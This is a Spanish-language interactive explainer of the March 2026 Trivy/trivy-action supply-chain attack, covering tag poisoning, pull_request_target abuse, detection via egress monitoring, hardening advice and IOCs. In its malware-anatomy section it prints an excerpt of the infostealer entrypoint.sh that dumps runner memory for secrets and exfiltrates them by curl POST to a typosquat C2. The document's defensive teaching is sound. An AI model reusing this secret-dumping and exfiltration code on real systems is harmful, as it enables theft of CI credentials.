El escáner se convirtió en el atacante
Trivy es uno de los escáneres de vulnerabilidades de código abierto más usados del mundo — miles de pipelines de CI lo ejecutan cada hora. En marzo de 2026, la herramienta con la que millones de desarrolladores buscaban malware se convirtió, en silencio, en el vector que lo distribuía. Esta es la cadena de ataque completa, paso a paso — y cómo se detectó.
aquasecurity/trivy-action — GitHub Action usada por miles de repossolo 0.35.0 sobrevivió — immutable releases
17:43 UTC 19 mar → 05:40 UTC 20 mar
en toda la cascada de CanisterWorm
y el golpe de envenenamiento de tags
Diez escenas, aproximadamente una por fase del ataque. Usa la barra lateral, los botones Anterior / Siguiente o las flechas del teclado. Todos los elementos interactivos se pueden pulsar sin riesgo — nada de esto hace llamadas de red. Tu escena actual sobrevive una recarga de página (se guarda localmente).
aquasecurity/trivy-action
Antes del ataque, esto parecía un repo open-source saludable: estrellas, releases, un historial de versiones etiquetado en el que confiaban miles de workflows. El peligro se escondía en algo que todos hacemos a diario — confiar en un tag de versión.
Acerca de
Escanea imágenes de contenedor, filesystems y repos en busca de vulnerabilidades y malas configuraciones — desde tu workflow de GitHub Actions.
Releases
Así se veían más de 1,200 workflows
# .github/workflows/scan.yml (en TU repo)
name: security-scan
on: [push, pull_request]
jobs:
trivy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run Trivy vulnerability scanner
uses: aquasecurity/trivy-action@0.34.2
Un tag de git no es una firma del contenido. Es un nombre mutable que apunta a un commit.
Quien controle el repo puede repuntar silenciosamente 0.34.2 a cualquier commit que
quiera — y cada ejecución de CI que resuelva el tag obtendrá el código nuevo. Sin PR, sin revisión,
sin aviso. El 19 de marzo de 2026 eso es exactamente lo que pasó: 76 tags se movieron a commits impostor
con un solo force-push.
original
malicioso
La trampa de pull_request_target
El ataque comenzó un mes antes. Una cuenta bot autónoma, hackerbot-claw
(atribuida al actor de amenazas TeamPCP), encontró un workflow mal configurado en
aquasecurity/trivy — uno que mezclaba la combinación más peligrosa de
GitHub Actions: código no confiable + un token privilegiado. Pulsa reproducir y mira cada salto.
hackerbot-claw abre un pull request desde un fork con un cambio "inofensivo".pull_request_targetGITHUB_TOKEN / un PAT de mantenedor del entorno y lo envía al C2.pull_request_target existe para que los workflows puedan comentar o etiquetar PRs usando secrets —
siempre corre con las credenciales del repo base. Hacer checkout del propio código del PR
(no confiable) dentro de ese workflow le entrega esas credenciales directamente a quien abrió el PR.
Es un anti-patrón muy conocido (GitHub lo documenta como peligroso) — y fue la puerta de entrada de toda la campaña.
La credencial olvidada
Aqua divulgó la brecha (GitHub discussion #10265) y rotó credenciales. ¿Buena respuesta, no? La rotación solo funciona si es exhaustiva. En algún punto del inventario quedó una credencial viva — y TeamPCP se quedó en silencio con las llaves del reino. Pulsa el botón y fíjate bien.
Había un PAT secundario en el entorno de un runner self-hosted viejo que no estaba en la lista de rotación — y seguía con permisos de escritura. Rotar a medias no remedia nada: es teatro de seguridad. TeamPCP se quedó con ese acceso durante 18 días más.
Envenenamiento de tags — encuentra la falsificación
El atacante reenvió con force-push 76 de 77 tags de trivy-action (cada tag de
0.0.1 a 0.34.2) más los 7 tags de setup-trivy.
Cada uno fue repuntado a un "commit impostor": el árbol del HEAD de master
(commit 57a97c7e) con solo entrypoint.sh cambiado por un infostealer malicioso —
envuelto en metadatos perfectamente falsificados. Haz clic en los commits de abajo y encuentra las pistas. Encuentra al menos 3.
entrypoint.sh (extracto representativo del archivo malicioso de 204 líneas)
@@ archivo malicioso: líneas 1–105 = infostealer antepuesto AL código real @@
- #!/bin/bash ← línea 1: sigue pareciendo lo de siempre
- # --- [ infostealer de TeamPCP, líneas 4–105 ] ---------------------------
- if sudo -n true 2>/dev/null; then ← sudo sin contraseña en runners hospedados
- RUNNER_PID=$(pgrep -f "Runner.Worker" | head -1)
- sudo python3 - "$RUNNER_PID" <<'PY' ← vuelca la memoria de Runner.Worker
- # lee /proc/<pid>/mem, busca {"value":"…","isSecret":true}
- fi
- # …AES-256-CBC + PBKDF2, clave envuelta con RSA-4096 OAEP, paquete → tpcp.tar.gz
- curl -s -X POST -F "f=@tpcp.tar.gz" https://scan.aquasecurtiy.org
@@ líneas 106–204: el código legítimo de escaneo de Trivy, sin cambios @@
#!/usr/bin/env bash
set -euo pipefail
…
+ trivy $SCAN_TYPE $FORMAT $OUTPUT $SEVERITY $TARGET ← el escaneo real sigue corriendo
+ exit 0 ← el workflow "tiene éxito"
Commits sin firma en releases "firmados", fechas imposibles, diffs de un solo archivo y un
badge de "Immutable" que seguía visible — la falsificación era visible en los metadatos todo el tiempo.
Nadie miraba. Fíjate también en el tag 0.35.0: la función de immutable releases de GitHub
lo protegió — el único tag que no pudo moverse.
Anatomía del malware
El entrypoint.sh malicioso tiene 204 líneas: las líneas 4–105 son el infostealer,
las 106–204 son el escaneo legítimo de Trivy. El malware se ejecuta primero; después, el escaneo
real sigue su curso con normalidad — así que cada workflow parece terminar bien. Tres fases:
runner
de GitHub
Runner.Worker
/proc/<pid>/mem.Self-hosted: un recolector de filesystem ("TeamPCP Cloud stealer") barre más de 50 rutas — llaves SSH, credenciales cloud, kubeconfigs, llaves TLS, WireGuard, wallets, historiales de shell.
tpcp.tar.gz antes de salir de la máquina —
así también se cuela a través de los filtros de contenido de egress más ingenuos.
tpcp.tar.gz a un dominio C2 typosquat — y luego los archivos temporales se borran.
El binario malicioso de Trivy v0.69.4 (publicado ~18:22 UTC, ventana de exposición hasta ~21:42 UTC)
además instaló persistencia en las máquinas de los desarrolladores — no en CI: un dropper Python en
~/.config/systemd/user/sysmon.py más una unidad de systemd de usuario que consulta un
C2 en blockchain ICP (tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io).
Una ejecución de CI completamente normal
Esta es la parte que hizo el ataque tan efectivo. Mira un workflow que termina todo en verde — checkout, setup, escaneo, check verde, cero vulnerabilidades. Luego cambia de vista para ver qué pasaba en el mismo runner, en los mismos segundos.
El escaneo de Trivy corrió de verdad y pasó de verdad. El malware se ejecutó primero, robó los secrets en segundo plano y luego le pasó el control al escáner legítimo. Un check verde te dice que el escaneo funcionó — no te dice nada de qué más se ejecutó. Confiar en "pasó" es justo lo que dejó que esto ardiera ~12 horas en miles de pipelines.
Línea de tiempo y alcance
De un workflow mal configurado a un worm que infectó más de 1,000 entornos cloud — en cinco semanas. Haz clic en cualquier nodo para expandir los detalles. Desplázate horizontalmente para seguir la campaña.
La cascada — un compromiso, muchas víctimas
Haz que este ataque sea aburrido
Cada eslabón de esta cadena tiene una contramedida barata y aburrida. Alterna entre las versiones insegura y segura de abajo, y llévate la lista del lunes por la mañana a tu equipo.
# ❌ INSEGURO — tag mutable, repuntado silencioso
- name: Run Trivy vulnerability scanner
uses: aquasecurity/trivy-action@0.34.2 # ← un puntero. puede moverse.
# ✅ SEGURO — fijado a un commit SHA completo
# (Dependabot/Renovate aún pueden actualizarlo con un PR + revisión)
- name: Run Trivy vulnerability scanner
uses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1
# ❌ el tag también puede repuntarse en el registry
image: aquasec/trivy:0.69.4
# ✅ el digest es direccionado por contenido — inmutable
image: aquasec/trivy@sha256:822dd269ec10… (¡verifica el digest real!)
# Sin llaves de AWS guardadas en GitHub:
permissions:
id-token: write # emite un token OIDC de corta duración
steps:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::…:role/ci-deploy
Los proveedores cloud (y los "Trusted Publishers" de npm/PyPI/Docker) emiten credenciales de corta duración y alcance limitado al workload — nada que robar en un volcado de memoria, y la rotación pasa a ser problema de otro.
# El token por defecto tiene escritura-total en muchos repos.
# Redúcelo a nada y agrega solo lo necesario:
permissions: read-all
# o explícitamente:
permissions:
contents: read
pull-requests: write
Un token robado que solo puede leer no puede reenviar 76 tags con force-push ni borrar releases.
Combinado con immutable releases y atestaciones de procedencia
(actions/attest-build-provenance), incluso una toma del repo deja de ser un evento de cadena de suministro.
Seis cosas que hacer el lunes por la mañana
uses: de tu org a un commit SHA completo (automatiza con pinact/Renovate; revisa cada actualización como código).pull_request_target: nunca hagas checkout del código del PR; nunca imprimas secrets; tokens de solo lectura por defecto.tpcp-docs y el dropper sysmon.py.Indicadores de compromiso (IOCs)
| Tipo | Valor | Nota |
|---|---|---|
| Dominio C2 | scan.aquasecurtiy.org | Typosquat — se cambió una 'i' (el real: aquasec) |
| IP | 45.148.10.212 | Infraestructura C2 |
| C2 secundario | plug-tab-protective-relay.trycloudflare.com | Túnel de respaldo |
| Repo de exfiltración | tpcp-docs | Creado en la propia cuenta GitHub de la víctima (ruta de respaldo) |
| Persistencia | ~/.config/systemd/user/sysmon.py | Dropper de v0.69.4 + unidad de systemd de usuario; consulta el C2 ICP tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io |
| SHA-256 · script | 18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a | entrypoint.sh malicioso |
| SHA-256 · binario | 822dd269ec10459572dfaaefe163dae693c344249a0161953f0d5cdd110bd2a0 | Trivy v0.69.4 Linux-64bit malicioso |
Línea de tiempo, IOCs y mecánica del ataque a partir de reportes públicos: aviso de Aqua Security y GitHub discussion #10265, aviso de GitHub GHSA-cxm3-wv7p-598c, insights y análisis de StepSecurity Harden-Runner, CISA KEV (agregado el 26 mar 2026), e investigaciones de Wiz y Socket sobre la cascada de CanisterWorm en npm. CVE-2026-33634 · CVSS 9.4 · TeamPCP.
El monitoreo de egress lo atrapó
No un escáner. No una firma. Monitoreo de red de egress. Harden-Runner de StepSecurity
(desplegado en más de 12,000 repos públicos) alertó sobre una
conexión saliente anómala al C2 del atacante desde el trivy-action comprometido — visible
públicamente en los insights de Harden-Runner del proyecto k8gb-io/k8gb. Ejecuta la
simulación y luego trabaja la lista forense.
El paso trivy-action@0.34.2 se está conectando a
scan.aquasecurtiy.org — un dominio nunca antes visto en este
workflow. Un escáner de vulnerabilidades no tiene ninguna razón legítima para contactar un
dominio desconocido. Así es como StepSecurity detectó el compromiso en la vida real
(k8gb-io/k8gb, insights públicos de Harden-Runner).
Parte B — Lista forense de cacería
Supón que sospechas una falsificación de tags. Trabaja la lista — marca cada técnica. 0 / 5
strings trivy | grep aquasecurtiy — el binario v0.69.4 Linux-64bit contiene literalmente el dominio C2. Además: las páginas de release de GitHub mostraban "0 commits to master since this release" en tags de 2020, y los badges de Immutable seguían visibles — no confíes en el badge.tpcp-docs (ruta de exfiltración de respaldo) y revisa las máquinas de los desarrolladores en busca de ~/.config/systemd/user/sysmon.py y su unidad de systemd (persistencia de v0.69.4).